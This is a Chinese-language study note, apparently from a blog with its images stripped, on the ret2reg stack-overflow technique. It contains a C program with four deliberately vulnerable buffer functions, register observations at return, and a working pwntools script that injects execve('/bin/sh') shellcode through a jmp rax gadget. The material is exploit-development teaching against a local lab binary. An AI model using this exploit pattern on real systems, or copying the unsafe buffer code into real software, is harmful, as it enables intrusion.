我们常常能覆盖返回地址,却苦于不知道shellcode的地址,这样即使覆盖了返回地址也是枉费心机

当我们看到以下几种情况的时候,就知道往往有栈溢出的出现了

//gcc hello.c  -no-pie -fno-stack-protector -z execstack -o hello

#include<stdio.h>
#include<unistd.h>
#include<string.h>

void vuln1(){
    char buf[0x40];
    read(0,buf,0x50);
}

void vuln2(){
    char buf[0x40];
    gets(buf);
}

void vuln3(){
    char buf[0x40];
    scanf("%s",buf);
}

void vuln4(char * str){
    char buf[0x40];
    strcpy(buf,str);
}

int main(){
    
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    
    //vuln1();
    vuln2();
    //vuln3();
    //vuln4("444444444444");

    return 0;
}

vuln1 2 3 4 分述了四种情况,当然还有更多的情况...

在ret的那一刻,我们想知道payload和寄存器到底有何牵连

 

对于 vuln1:

ret2reg 学习笔记_栈溢出

 rsi 存储着 payload的地址

 

对于vuln2:

ret2reg 学习笔记_程序运行_02

rax、rdi 存储着payload的地址

 

对于vuln3:

ret2reg 学习笔记_linux_03

 

ret2reg 学习笔记_栈溢出_04

 

在这些常见的寄存器里没有找到指向payload的

 

对于vuln4:

ret2reg 学习笔记_寄存器_05

rax 存储着 payload 的地址

 

现在我们知道有许多寄存器指向payload,也就是说如果有类似 `jmp reg` 的指令,那就有可能在不知道shellcode地址的情况下,把程序的流程劫持到shellcode

ret2reg 学习笔记_程序运行_06

 

以vuln2为例(需要注释掉对 vuln1 、vuln3 和 vuln4 的调用),采用如下命令编译:

 gcc hello.c  -no-pie -fno-stack-protector -z execstack -o hello

利用脚本如下:

from pwn import *
context(arch='amd64',os="linux")

sh=process("./hello")
#sh=gdb.debug("./hello")

shellcode=asm('''
mov rdi, 0x68732f6e69622f
push rdi
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,0x3b
syscall
''')

jmp_rax=p64(0x400685)
payload=shellcode.ljust(0x48,b"\x00")+jmp_rax

sh.sendline(payload)

sh.interactive()

 

跟踪程序流程可以看到,程序运行了shellcode

 ret2reg 学习笔记_寄存器_07